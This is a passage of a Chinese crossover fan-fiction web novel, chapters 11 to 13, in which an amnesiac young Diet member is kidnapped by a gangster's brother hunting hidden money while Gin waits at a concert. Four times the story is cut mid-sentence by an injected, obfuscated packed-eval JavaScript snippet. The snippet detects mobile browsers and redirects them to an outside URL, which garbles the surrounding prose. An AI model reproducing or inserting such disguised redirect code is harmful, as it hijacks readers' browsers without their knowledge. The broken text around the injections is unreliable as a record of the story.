比如现在,和校长、教师代表开完会后的太田於菟在学校操场上和小学一年级的学生玩捉鬼游戏。 ……好累啊,这群小泥鳅精力怎么这么旺盛。 “啊!真的是太田议员,谢谢议员先生你之前救了我!” 一个小泥鳅突然兴奋地冲到他面前。 “啊,是小步美啊,最近还好吗,学校生活还愉快吗?” 太田於菟的记忆力非常好,无论是记人脸还是记文字,都可以说是过目不忘,他很快便认出了这个叫吉田步美的小姑娘是不久前那场地铁劫持事件中,最先被歹徒用刀劫持然后被他主动一换一的人质。 有了吉田步美这个“突破口”,太田於菟很快就和小孩子们彻底打成一片了,之前还有点畏惧议员先生的小学生们立刻围向这个正义、勇敢、善良、还好脾气的大哥哥。 一众小孩子里,唯有江户川柯南在以不一样的眼光观察着太田於菟。 那天,改变他人生的那天,在游乐园里坐上过山车时,小兰有偷偷和他说隔着几排的那个穿着连帽衫、兜帽盖在头上的年轻男人好像是太田於菟,那个不久前刚刚竞选成功的最年轻议员。 他还没来得及观察,过山车就启动了,紧接着就是杀人事件,他也没来得及去好好辨认一下那个兜帽男到底是不是太田议员。 从过山车下来后,他无意间的一瞥好像看到兜帽男在与那个黑衣男子擦肩而过时悄悄说了什么……没错,那个给他喂下了毒药害他变小的黑衣男子。 但是,当时的那一瞥太匆匆,他也没有看清楚,不确定那两个人是不是真的有交流,还是他当真看错了。 尽管知道自己这样的试探很冒险,但苦于一直没有追踪到那个黑衣男子的情报,这样的话不知道自己身体何时才能恢复正常……江户川柯南决定还是铤而走险一次。 “呐,呐,议员先生,请问你不久前是不是有去过新开的热带游乐园啊?我在排队坐云霄飞车的时候有看到一个人好像你哦。” 扬起一副天真无邪的面孔,江户川柯南问道。 没有人会对一个纯真的小孩子设防,这是他现在最大的优势。 突然被提到让自己命运发生重大转折(失忆)的那天,太田於菟微微怔了一下,但想到去游乐园玩也不是什么不可告人的事情,更何况是面对一个小孩子的提问。 谎言说得越多,就越需要更多的谎言来自圆其说,因此在无需说谎的情况下,太田於菟还是倾向于如实相告。 “是啊,我有去坐过那家游乐园的云霄飞车,因为大人也是需要休息的啊。” 太田於菟蹲下身来,对眼前的这只小泥鳅笑得耐心又慈祥。 那个兜帽男真的是他啊……江户川柯南决定乘胜追击,“我当时有看到议员先生你和一个头发好长好长的男人说话,那是议员先生你的朋友吗?” 一边说着,一边做出了夸张的比划动作来具象化那个黑衣男人的头发长度,一派天真小可爱的样子,实则内心已经七上八下地敲鼓,紧张地等待着太田於菟的回答。 这个问题让太田於菟有点懵,那天去他去游乐园玩就只是和巨势弥一一起啊,没有第三个人……所以应该是他和一个路人甲说话的时候被这 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14234440|151388||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 小泥鳅看到了吧? 那么,按照他对自己的了解,他会和那样的一个路人甲搭话,原因应该就只有…… 太田於菟微笑着叹了口气: “哦,那不是我的朋友,只是看到那个人的秀发如此惊人,忍不住想要上前咨询一下头发养护的秘诀,毕竟我如今最大的困扰就是我日渐危险的发际线了……小弟弟,要从小好好养护头发哦,等你长大就懂了,发际线可是男人的一生之敌啊。” 边说着,还边揉了揉小泥鳅那当下尚且相当繁茂的头发。 江户川柯南:“……” …… 探访小学的行程结束,接下来,晚上该—— “停!晚上应该是属于我自己的私人时间了吧?” 太田於菟连声叫停接下来的安排,这越发社畜了啊。 顺势亮出了一张演唱会的门票。 “这是我在我的书房里找到的今晚冲野洋子的演唱会门票,我本来是打算今晚去听演唱会的吧?” 不过票只有这么一张,他是打算就自己去吗?是有和人约好在演唱会现场集合的吧?但是为什么都傍晚了还没有一个朋友联系他?他不会真这么孤寡地一个去听演唱会吧?! 怀抱着正显示电子日程表的iPad,巨势弥一: “的确,前辈你最喜欢的女歌手是冲野洋子。” “那我最喜欢的男歌手呢?” “谷山纪章。” “哦,GRANRODEO乐团啊,难怪我手机音乐库里顶置的就是《Passion》这首歌。” “不,前辈,这不是重点,重点是你今晚真的该去参加社区夜间巡逻活动了!”巨势弥一将手里的iPad怼到了太田於菟的面前,试图劝阻对方不要追星丧志,“你已经好久都没有参加这项活动了,之前好不容易用这种方式在多个町区积攒起来的人气,不能前功尽弃啊!” 沉默地看了眼手中的演唱会门票,太田於菟最终决定……狠心地撕碎以明志。 区区演唱会算得了什么,他可是为了梦想,连青春和纯洁都能抛弃的男人! 工作!工作!工作! 今天也是为了成为首相而努力的一天! …… 演唱会场馆外—— 一辆黑色的保时捷里,琴酒阴沉着脸。 一旁的伏特加担任嘴替,不满地嚷嚷着: “森於菟那小子怎么还不出现!难道真的要让大哥进场馆里面吗?!” 之前在热带乐园相遇时,除了“一起坐摩天轮”的邀约和一如既往的劝跳槽挖人,森於菟还悄悄往琴酒的大衣口袋里塞了张演唱会门票并小声留下句“到时见”。 这场演唱会便是他们约定碰头交换情报的时间地点。 “既然这么想把大哥挖去,多少也该表达点诚意啊……不,不,不,大哥我不是那个意思,大哥你对组织的忠诚没有人比得上的!” “闭嘴,伏特加。” 11. 失忆第十一天 Chapter 11 “辛苦大家了!” 社区夜间巡逻活动结束,原地解散,太田於菟也向所有参加的志愿者们表达感谢。 ……话说,他现在赶去演唱会还来得及来不及? 啧,早知道不把票撕得那么早那么干脆了,现在拼都拼不回来。 不过,算了,反正也没有人在演唱会现场等他,自己一个人去看演唱会多少有点悲伤。 踏着月光,独自走在去坐地铁的路上。 他今晚参加的是米花町的夜间巡逻活动,就是他下午访问的那所帝丹小学所在的街区。 “这不是挺安全的吗,米花町也没有像新闻里说的那样啊,除了……” 太田於菟喃喃自语着,突然间话锋一转,脚步也停了下来,眼角余光凌厉地看向斜后方: “跟了我一路了,出来吧。” 被如此直白地招呼,悄摸摸的跟踪者只得从拐角处走了出来……还不止一个,直接走出来一串。 看到了跟踪者们后,太田於菟也怔了一下,认出了是今天下午在帝丹小学里见过的那几只小泥鳅。 怎么会是他们? 他刚刚明明有感觉到…… “对不起,太田议员,我们不是故意要跟踪你的,是柯南君,还有我们……”吉田步美不好意思地上前道歉,并且指了指身旁戴眼镜的小同伴,“柯南君他好奇议员下班后都会干些什么,所以我们才想跟着看看的。” 江户川柯南也尴尬地挠了挠脑袋,想要用小孩子的优势萌混过关,不让对方多想什么。 他对太田於菟还是没有彻底放下疑心,毕竟他现在的处境太被动了,对那日游乐场的黑衣男子根本无从查起,因此不能轻易放过任何一点相关线索。 刚刚在看到太田於菟夜巡结束落单后,他临时起意想要看看这人接下来打算干什么,结果却被大晚上还没回家的少年侦探团其他人缠上了,他只好给出了那么个借口,结果这几个家伙兴致盎然地表示他们也要一起加入…… 这么多人一起跟踪当然会被发现啊! 了解到这支“少年侦探团”的来意后,太田於菟只是继续笑得耐心又慈祥,完全把这当成是小孩子扮侦探的过家家游戏。 嘛,很正常,小孩子总是会好奇大人的生活的。 但是…… 还是不太对劲啊,最初他感觉到跟踪自己的,应该不是这几只小泥鳅才对。 “好了,现在已经很晚了,乖孩子要快点回家休息……” 就在俯下身“教育”这几个小孩子的时候,太田於菟突然脸色一凛,暗叫“不好!”,真正的跟踪者利用这几个小孩做掩护,被算计了! 突然窜出来袭击者,直冲着吉田步美而来。 太田於菟当然知道对方的目标是自己,这样虚晃一枪是为了逼自己出手救小女孩好出现防御空档,但是即便知道……他还是得出手救人啊! 在被人用沾了迷药的手帕粗鲁地捂住口鼻昏过去前,他感觉得到自己被掳到了突然开过来的一辆车上,也听到了那几个小泥鳅的尖叫。 但愿小泥鳅们至少能在帮他报警时,足够详细准确地描述现场状况,好让警察能够快点想出解决方案。 至于不担心直接被杀掉吗? 当然不,对方显然是对他盘算已久,瞅准他有破绽的时机出手掳人的,这般处心积虑地请他去“做客”,必然是从他身上有所图。在得到想要的东西前,不会轻易威胁到他的人身安全。既然被盯上了,那还是一次性解决比较好,总好过天天提心吊胆地防着暗处有人要害他。 在这种时候,他竟然还在大脑高速运转地做着冷静分析,他还真的是,理智得有些可怕啊。 昏迷前的最后一刻,他是这么想的。 以及,米花町的治安果然不好啊。 …… “唔……” 意识恢复,醒来时,太田於菟的第一反应是去看自己腕上的手表,判断出时间并没有过去太久,犯人用的迷药比较轻微,应该是争分夺秒地想要快点从他身上获得什么。 又扫了眼当下所处的环境,似乎是在一栋已经废弃的大楼里,从窗外景色来看,所处的楼层不算太高。 嗯?那是…… 目之所及,不远处,那个叫吉田步美的小姑娘也被绑来了,嘴巴被贴了胶布,此刻麻药对小孩子的效果还没过,仍在昏迷着。 把这小姑娘一起绑来,是想作为牵制他的人质好让他不要轻举妄动吗? 想到上次的地铁劫持事件里,这小姑娘也是被歹徒一把选作人质……这是什么天生人质圣体啊。 “醒了啊,太田议员,初次见面……不,应该说,是对你而言的初次见面才对。” 一个声音响起,黑暗中,一个人影朝他走来。 是个浅灰色头发的男人,穿着还挺考究的,年龄和他差不多大的样子……手里有枪。 啧,日本的枪支如今已经泛滥到这个地步了吗,最近遇到的持枪歹徒频率有点高啊,回去要不要提交一份关于枪支管控的议案? 太田於菟觉得自己可真是个好议员,都这种时刻了还在为国家的未来着想。 “鄙人姓氏是小野,不知议员先生你对这个姓氏是否有印象呢?” 灰发男人在太田於菟身前蹲了下来,与被绑着的太田於菟平视着。 太田於菟微笑道:“这个姓氏在日本的大众度不说前三十也能排进前五十了吧,还请不要为难我啊,这位小野君。” “呵,这么说倒也对,毕竟你应该更熟悉的,是我兄长的那个别称代号吧。”小野阴沉地低笑了两声,直直地盯着眼前的人,不放过对方脸上的任何一个表情,“那么,‘A’呢?这个名字你应该很熟悉吧?” 太田於菟继续保持不动如山的微笑。 尽管他的内心有点想哭……鬼知道什么ABC的!就算以前的太田於菟可能真的认识这么号人,但现在的他是个失忆残缺版,他知道个屁啊! 但是偏偏还不能喊冤,不然暴露他失忆了更完犊子。 只能,继续用淡定的表情和不变的笑容演绎着这份高深莫测。 而迟迟得不到回应的小野显然急了,瞪大了眼睛,有些癫狂地拔高了声音: ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14234441|151388||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “是A啊!Ace的A!A!A!A!” “Ace,A,A……A,B,C,D,E,F,G?” 太田於菟表示你吼那么大声干吗!下意识地接过“A”……唱起了字母歌。 小野:“……” “我,没唱跑调啊?” “你特么玩老子?!” 小野直接拔枪怼到太田於菟的太阳穴上,整个人都狂躁了,他感觉这人根本就是在遛他玩! 太田於菟确实是在遛他玩……准确说,是想要尽可能地拖延时间,等待警察的救援。 “小心点啊,小野君,你要是一不小心扣动扳机,‘砰——!’的一下,你想要知道的秘密可就要随我一起永远变成沉默的秘密了。” 这是他现在的底气,在那所谓的秘密从他身上挖出来前,这人是不会真把他怎么样的。 “呵,看来,你现在是愿意配合了啊。”小野觉得这人还算上道,这样也好,省了他不少力气,毕竟他现在也是要赶在警察到来前争分夺秒,“说!A,也就是我兄长,他交到你手上的钱,你都藏到哪里去了?别装模作样说你不知道,我见过你来找兄长,并且不止一次,兄长有告诉过我,你是他的合作者!” 太田於菟皮笑肉不笑道,“那你应该问你的兄长去啊。” 他这是莫名其妙地卷入一场兄弟对财产的争夺战里了?而且,这听起来,怎么像是他和那个A一起干了什么不法勾当?听着不像是简简单单地给他捐献政治资金啊。 过去的他到底都干了些什么! “哈?太田於菟,你少装傻,兄长他三年前就去世了!还是说,你在诅咒我去死,嗯?!” 太田於菟:“……” 不是兄弟战争,竟然是遗产争夺战吗?而且他还是那个持有他兄长遗产的人??? …… 冲野洋子演唱会—— 现场氛围极其热烈,粉丝们挥舞着闪闪发光的应援牌、荧光棒,跟随着舞台上的偶像一起全员欢唱,声音喧闹到快要把场馆棚顶都给掀翻了。 而在这其中,有一个仿佛在以一己之力孤立所有人的黑衣男子与这片氛围格格不入。 ……尽管因为气氛过于热烈、观众们过于投入,而并无人关注到这位男士。 琴酒一脸阴沉地坐在看台上,努力克制着不直接放一枪让全场闭嘴的冲动。 而旁边的那个座位到现在都还空着,该来的人至今仍未到。 他当然是不想来这种地方的,但是他了解森於菟那个臭小子,如果他本人不到场而是派伏特加进来的话,那小子绝对什么情报都不会交出的。 该死的,森於菟,十分钟,再给你十分钟…… 十分钟内还不现身的话,下次见面老子一定枪直接怼你嘴里! 场馆外,保时捷里—— 伏特加如同被抽干了所有力气般趴在方向盘上,硕大的墨镜也遮挡不住他满脸的哀怨与忿忿。 心中同样在咒骂着森於菟……可恶,就不能再多给他也买一张门票吗,好让他能够进去陪大哥。 港口黑手党的大少爷差这么点钱吗! 12.失忆第十二天 Chapter 12 我的姓氏是小野,曾经有过一个兄长。 是的,曾经,因为兄长三年前去世了,莫名其妙地死在了独属于兄长自己的豪华游轮上。原本在海上正常航行的游轮忽然内部着火,化为汪洋中的残骸。 兄长是靠赌博起家的,并且是个非常出色的赌徒,凭此积攒了大量的财富。手中的财富一旦增多,就不得不考虑安全的问题,毕竟金钱是会吸引来大量狼群的。 然后,兄长告诉我,不用担心,他凭借钱买到了一个非常庞大的保镖团体。而除了这些,兄长没有再多透露任何,因为兄长说过,他信任的唯有他手中的赌牌以及被他用异能力控制的部下……即使我们是亲兄弟。 因此,得知兄长的死讯时,我其实并未有太多悲伤,唯独在意的是……兄长“投资”在外的钱流向哪里了,那可是一笔巨额资金。 三年来,我一直在到处探查这笔理应由我继承的“遗产”,却毫无头绪。 直到不久前…… 【太田於菟胜出!史上最年轻国会议员诞生!】 在电视里,看到那个新当选的年轻议员时,我整个人都兴奋了,兴奋到不能自已。 因为,我曾经见到过这个人,两次。 第一次,是在东京偶然遇到的,当时,我远远地看到兄长在和一个打扮像是大学生模样的年轻人交谈着什么,并且还给了那个年轻人什么东西。 第二次,是在兄长曾经在横滨拥有的那家地下赌庄里,我看到又是那个年轻人从兄长的办公室里走出来。我问兄长这人究竟是谁,兄长只说那是他的合作者,为了同这个合作者结盟,他把所拥有的半数流动资金都交给了这人在外打理,为给联盟筹得更坚实的财力与利益网。 这太不符合兄长的风格了,不是说过所信任的只有他自己的赌牌与异能力吗?但兄长却告诉我,这是在放长线钓大鱼,毕竟未来这个年轻人也只会成为他的傀儡而已。 而结果显而易见,兄长他出师未捷身先死了。 至于那个年轻人……如今竟然成为国会议员了?! 算了,无所谓,毕竟我要的只是…… “说,我兄长当初交给你的那笔巨款,如今在哪儿?乖乖交代的话,拿到钱后我倒是可以放你一命。” 小野举着枪,厉声逼问着,并且表示自己只谋财不害命,识相的话就快点配合! 太田於菟却觉得这不是他配不配合的问题……因为他真的什么都不知道啊!但是对方显然不会信。 “这位小野君,有没有一种可能……你,认错人了?毕竟你兄长当初也没说过那个合作者的名字叫做‘太田於菟’吧?” “哼,你觉得这种说辞我会信吗?就知道你不会那么轻易松口,所以,我才把这小丫头也一起绑来了啊……” 只见小野将枪口调转,指向此刻还昏睡着一无所知的吉田步美,满身戾气地下着最后通牒: “如果你再不痛痛快快交代的话,我就杀了这个小丫头!就算你不在乎这小丫头的性命,但总归在意自己的声誉吧。即便你也是被绑架的受害者,但若是一个无辜的小孩子受你牵连而丢了性命,无论如何你都会背上舆论的非议,你的政敌更是不会放过你。做选择吧,是守着那笔财富,还是继续你了不起的政治生涯?” 话毕,双方沉默地对视了片刻后…… “好吧,我知道了。” 太田於菟终是叹了口气,接着一脸平静地说道: “的确,如你所说,那个小东西的命于我而言无关紧要,但我的政治前途可赌不起,一步都不能出差错。我原本的确是打算用那笔钱和你兄长一起干票大的,但在得知你兄长出事后,我也不敢轻易再动用那笔钱,以免被仇家盯上。所以,我把那笔钱换成金条藏在了一个安全的地方。” “金条?!” “是啊,如今全球通货膨胀都那么严重,就算我把那笔钱都换成美金也无法保障其不贬值。所以,我选择了兑换黄金,这些年金价的涨幅不用我多说吧,你真应该好好感谢我啊,小野君。” 此言一出,那张原本一副杀红眼亡命徒样的脸上顿时是难以掩盖的兴奋和贪婪,两眼都快要冒黄金了。 “说,快说,那批金条被你藏哪里了!” “行吧,我知道我现在没资格和你谈条件,只能寄希望于你仅图财的承诺……金条被藏在横滨港我买下的一间安全屋的地下室里,具体地址是横滨市舄浜町4丁目9-49-449号。” 终于逼问出了宝藏所在地,小野来不及吐槽既然是安全屋为什么要买个这么不吉利的门牌号!比起吉利不吉利的,还有个更严重的问题…… “这地方,这地方不是横滨的港口黑手党的地盘吗!你在港口黑手党的地盘上偷偷藏金子?!” 看着对方这副在控诉“你简直疯了!”的表情,太田於菟却是低声笑了笑,在这片黑暗中带着一份难以言喻的寒意: “最危险的地方往往才最安全,不是吗?就当是那群黑手党在帮我守护宝藏吧。” 听闻金子所带来的冲击平息下来后,小野却是没有立刻下一步行动,脸上反而露出了纠结的神色。 而这份犹豫纠结没能逃过太田於菟的双眼。 “怎么了,小野君?我都把藏宝图直接捧给你了,为什么还不行动?直接命令你的部下去挖金子啊,今晚的绑架显然不是你一个人的行动,你应该有部下的吧。” “反正有我这么个人质在手,从东京开车到横滨一个小时都用不到,让你的部下去一探究竟也不会亏损什么……啊,当然,要小心横滨的港口黑手党,毕竟夜晚的横滨是他们的天下。” “还是说,小野君对自己的部下没有信心呢?万一部下们看到满室的黄金无法抵挡诱惑,直接抱着黄金跑路了呢?毕竟等待你这个首领的许诺变现,还不如攥紧眼前实打实的金条。” “你真的觉得,你对部下们的统御力能够胜过人性的贪婪吗……” 话音还未落下,却被身体颤抖着的小野粗暴地打断了,并且从口袋里取出了一个东西,耀武扬威般地挥舞着: “当然能!那些杂鱼逃不出我的掌控的,因为我有这个哈哈哈哈!没错,只要有这个,他们就都得听命于我……如何,应该很眼熟吧,这个东西,没错,我拥有和我的兄长一样的异能力啊!” 太田於菟没有回应,只是沉默地看着对方手中挥舞着的项圈。 黑色的项圈,上面还镶嵌着一枚细碎的宝石。 而小野在急不可待地给部下们发完去横滨的指令后,拿着这个项圈狞笑着凑近眼前的年轻议员。 “虽然我很想直接把这个项圈套在你的脖子上,但这个异能力偏偏就是有个讨厌的前提条件,需要被束缚者自愿套上这个项圈才行……”小野蹲下身来,项圈在手里把玩着,“你,愿意吗?” 斜睨了那个镶上劣质宝石后土爆了的项圈一眼后,太田於菟撇了撇嘴角: “干吗啊,说得好像求婚词似的,还拿着项圈这种对于小孩子来说过于刺激的东西,那边还有个纯洁的小女孩正睡着呢。” 赶在对方暴走发火前,太田於菟及时见好就收。 “好了,好了,我知道了,如果我说不愿意的话又是刚刚那一套威胁,行吧,我愿意。不过……” 话锋一转,话语在唇齿间的辗转有意无意间染了上了一些别样的感觉,仿佛一根轻轻飘落的羽毛在轻扰着人的心弦。 “……我现在被你绑着动不了啊,你来帮我戴上吧。” 窗外的月色映在他那张肤色本就比常人更加瓷白的漂亮脸蛋上,在黑暗中竟有一种吸血鬼的蛊惑感,缓缓仰起头时,原本被额前发丝遮挡了些许的紫色眼眸一点点露出全貌,如同最名贵的紫色宝石般摄人心魄。 小野没有察觉到自己的手似乎都在颤抖,仿佛被施了魔法咒语般就这么倾身向前为其戴上项圈,只是已分不清究竟谁是主人、谁才是那个被项圈束缚的奴仆。 宛如一串魔音编织的幻境,打破这片幻象的是剧痛和血的气息…… “啊——!” 小野突然尖叫了起来,连连后退了两步,目光惊悚地看向眼前这个“吸血鬼”。 “啧。”太田於菟不满地抱怨了下,嫌弃地呸了下舌尖上还沾着的血,“要是能直接咬断你的大动脉,警方应该也只会判我是正当防卫吧。” 捂着自己的脖子,掌心抚摸到被咬出的血,小野一阵心惊……好险,刚刚差点就着了这家伙的道了!35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14240629|151388||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> “你这家伙,信不信我现在就发动异能力把你变成……” 暴怒的话语还没说完,便被外面传来的一阵急促的警笛声打断了,警察追查到这里了! “好快啊,这简直远超东京警视厅的平均查案速度,莫不是今晚有高手?”太田於菟的脸上看不出什么警察终于到了的喜悦与庆幸,反而饶有兴致地看向此刻已有所慌乱的小野,“怎么办呢,小野君?你的部下们现在应该还没能赶到横滨吧,这边东京的警察就已经找上你咯。” “闭嘴!” “我可以帮你拖延住这边的警察,好给你的部下们争取挖金子的时间哦。” “我说了闭……啊?” 大楼外,层层包围的警车里,警察们鱼贯而出,通通严阵以待。 今晚直接出动了东京警视厅刑事部部长小田切敏郎带队亲赴现场,并且出警数量也远超常规配备。 江户川柯南原本是打电话给老相识的目暮十三报案,而目暮警官一得知被绑架的是国会议员,顿时觉得问题大发了,赶快上报。 “毛利老弟,多谢你了,要不是你,我们恐怕不会这么快就追踪到凶手。” 目暮十三不忘对今晚友情相助的毛利小五郎表示感谢,最近真的欠这位已经从警队退伍的老同事太多人情了。 刚刚从警车里晕晕乎乎走下来的毛利小五郎一脸懵地揉了揉脑袋……嗯?他干什么了?一边睡着一边就又立功了? 而跟在身边的江户川柯南深藏功与名,只是不忘向警察们强调着: “被绑架的不仅有太田议员,还有步美,步美也被一起带走了。” 小田切敏郎点了点头,“放心,两个人我们都会救出来的。” …… “砰——!” 暗夜里的一声枪响,港口岸堤上站着的男人就这么双眼失焦地倒下,伴随着迸射的鲜血,倒在了港口的汪洋里。 血液溶进这片夜色下黑暗浑浊的海水中,一点点的无迹可寻…… 琴酒无视掉这个原本正在与自己交谈的“同事”突然毙命,双眼没什么温度地看向不远处一点点向着自己走来的人。 穿着一身黑色牛仔衣、头戴黑色棒球帽的青年缓缓放下刚刚举着枪的手,嘴角噙着一抹似笑非笑的意味: “别用那种可怕的眼神看我啊,我可是在帮你,我有查到你这位新晋同事当初在横滨偷渡登陆时留下的痕迹……连马达加斯加都能派卧底潜入你们组织,怎么,你们组织是走私了他们国家的企鹅吗?” 这话一出,立刻引来了一旁伏特加的极度不满: “真正的马达加斯加没有企鹅!” 青年眼眸微转,看向伏特加时,笑意更浓了,只不过是满满恶意的笑容: “不懂幽默的人闭嘴。” 伏特加:“……” 你以为你很幽默吗!!! “今天就算了吧,你还是先把你身边的老鼠清理完再说,希望下次见面时你能干干净净地来和我交易啊,琴酒。” 说罢,青年便转身离开了,同时不忘给出自己的行业小建议: “啊,对了,给你个快速清理身边老鼠的建议……你干脆下次在内部开动员大会的时候,直接朝围在你身边的人扔个炸弹,依照你的情况恐怕这才是最高效的除卧底方式。虽然会误杀一些伏特加,但误杀所占比例应该不高,且不过失去区区一些伏特加而已,总体上依然称得上是最优解。” 回忆结束,依旧阴沉着脸的琴酒缓缓睁开双眼…… 吵死了!!! 在这种鬼地方他耳朵都快要被聒噪得失聪了,用极佳的洞察视力扫遍全场,他也没发现森於菟的半点踪影。 呵,怎么,不出现难道是今晚还有卧底也跟来在这种鬼地方了吗?! 演唱会场馆外—— 见自家大哥半天不出来,伏特加也有点急了,按照他对大哥的了解,大哥只要一办完正事,绝对不可能在这种地方多停留一分钟的啊? 大哥他是不是遇到什么状况了!还是森於菟那个臭小鬼想对大哥不利! 不行,他要去帮大哥! 可是他在场馆外环馆一圈都没有买到黄牛票…… 谁来给他一张黄牛票啊! 13.失忆第十三天 Chapter 13 “通通都不许动!否则我一枪就毙了他!” 当看到这栋被包围的楼房的一扇窗子被骤然打开后,楼下的所有警察全都神经高度紧绷。 只见丧心病狂的歹徒小野押着被麻绳紧紧捆绑的太田於菟,手中的枪指着太田於菟的脑袋,两人半个身子都快要探出窗外,却偏偏精准巧妙地用太田於菟的身子作为遮挡,所选取的角度完美地成为了狙击手的盲区。 【报告长官,在不伤及太田议员的情况下,想要击毙凶手的难度极大】 耳麦里传来了附近狙击点已经埋伏好的警方狙击手的汇报,小田切敏郎也不动声色地低声回复下属: “保持待命状态,注意,保障人质安全是最高优先级。” 楼下的警察们集体严阵以待,而楼上窗子里的歹徒人质二人组却是用只有彼此间才能听到的音量秘密交流着。 太田於菟:“再向右调整二十度左右,手臂也再下放一点点,这样就能完全阻挡住狙击手的行动了。” 小野:“好,我知道了……那,接下来呢,是时候喊话索要赎金了吗?” 太田於菟:“嗯,差不多了,喊吧。” 得到了精确“指导”后,小野亮起嗓门朝着楼下的警察大声叫嚣: “听好了!十亿日元,准备好十亿日元的现钞,否则我立刻就让你们的太田议员脑袋开花!” 放完勒索宣言后,小野拽着太田於菟回到了房间里并且重重地关上了窗户。 刚刚用最大的肺活量大喊一通,小野这会儿还在喘气恢复,就被太田於菟劈头盖脸一通“训斥”: “啧,你这家伙也太贪心了吧,居然张口就要十亿!” “十亿的话换算成美元也就六百多万,说不定那些金条的价值比这还要高!”小野觉得自己还亏了呢,不满地忿忿着,“是你说的如果那批金条拿不到手,至少也能以你为人质进行勒索得到等价赎金……喂,太田於菟,别忘了你现在的小命把握在我手上,你最好真心实意地和我统一战线!” 太田於菟无奈地连连摇头: “你是傻子吗?不说别的,单说你算过十亿日元的现钞有多少张,要装多少个皮箱子吗,就算给了你,凭一己之力从现场带的走吗!” 小野:“……” 失策了,刚刚他光想着要价,要得越高越好,没考虑过这个问题。 “还有,十亿日元,这个数目政府肯不肯拿出来赎我都还不好说呢!调动这笔资金必然需要层层审批,你这么狮子大开口地爆出这样一个难以接受的数字,政府内部肯定各派相互扯皮在那儿讨论要不要巨资赎人呢。” 小野:“……那,那现在要怎么办?” “现在,趁着他们还陷入十亿日元的震惊和无措中,去降低一下赎金,一亿日元就差不多了,刚好是你能现场带走的量。而且,好吧,你也算是给他们造成了一种让步效应,刚刚向他们提出了不切实际的十亿,现在改为一亿,他们大概也更容易接受。” “哦,哦。” “还有,顺便警告他们,这栋楼里被你层层布置了炸弹,你随时都可以连人带楼同归于尽。所以,让他们不要轻举妄动,一会儿来送赎金时也只允许一个人作为代表上来交易。” “哦,哦……哈?你这家伙怎么知道我在这栋楼里装有炸弹!” 小野震惊了,炸弹可是他最后的底牌,不到最后一刻他也不想按动遥控器连带着自己一起game over的。 太田於菟的眼神漫不经心地扫视过房间,“虽然是栋废弃的楼房,但这里明显有你生活过的痕迹,说明这里是你的据点。在据点总要设置一些保障装备什么的吧,比如炸弹……啊,当然,我也不确定,所以刚刚是炸你的,原来你真的在楼里安了炸弹啊。” 小野:“……” 他觉得他全程都在被这小子遛着玩……但是,没关系,没关系,只要这小子脖子上还套着那个项圈,他就始终占据着主导权。 嗯,优势在我! 稳定住心神后,小野起身便准备去和楼下的警察们“讨价还价”,刚要行动,便又被一旁五花大绑着的人叫住了。 “拜托,你得带上我当你的掩体啊,我还得帮你避开狙击手的枪口呢……嗯?这么看着我干吗?” 小野艰难地组织了一下语言后,表达出自己的真实直观感受: “说真的,太田君,比起议员,我觉得你更像个犯罪老手。” 太田於菟:“……时间宝贵,小野君。” 小野:“哦……哦。” …… 接收到了歹徒提出的新要求以及炸弹威胁后,现场总指挥官小田切敏郎当即做出两大行动——通知警视厅警备部机动队爆.炸物处理班立刻赶来现场,以及向上层汇报事态进展,等候上层的决定。 一亿日元虽然没有十亿日元那么夸张,但在官场多年的小田切敏郎也明白,事情远不会是政府立刻出赎金这么简单。而他唯一能做的,就是安抚住歹徒的情绪,尽可能拖延时间。 东京千代田区的政府核心大楼今夜灯火通明—— 会议室里,因“国会议员遭绑架”这一突发事件而连夜聚集到一起的诸多政府高层要员们闹哄哄地满堂吵,在争论是否要按照绑匪说的立刻从政府相关资金款中取钱去营救太田议员。 有人认为无论如何救人要紧,况且国会议员若是遭不法之徒杀害实在有损政府颜面;也有人表示如果就这么被歹徒牵着鼻子走只会显得政府无能,一定能有办法在保下太田议员的同时彻底降服歹徒的,况且就算从政府里提这笔钱也是要走层层审批的。 作为太田於菟的秘书,巨势弥一在会议室现场看着这帮人扯皮个没完却迟迟不给结论,心头着急又煎熬得不能行,现在多耽误一秒太田於菟就多一分危险…… 等你们这帮老家伙打完口水仗,於菟前辈都要去三途川领盒饭了啊! 深觉不能再这样被动地干等下去,巨势弥一当机立断离开会议室,从手机里找出一个人的联系方式。 虽然按照规定这种情况下不可以把非政府 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 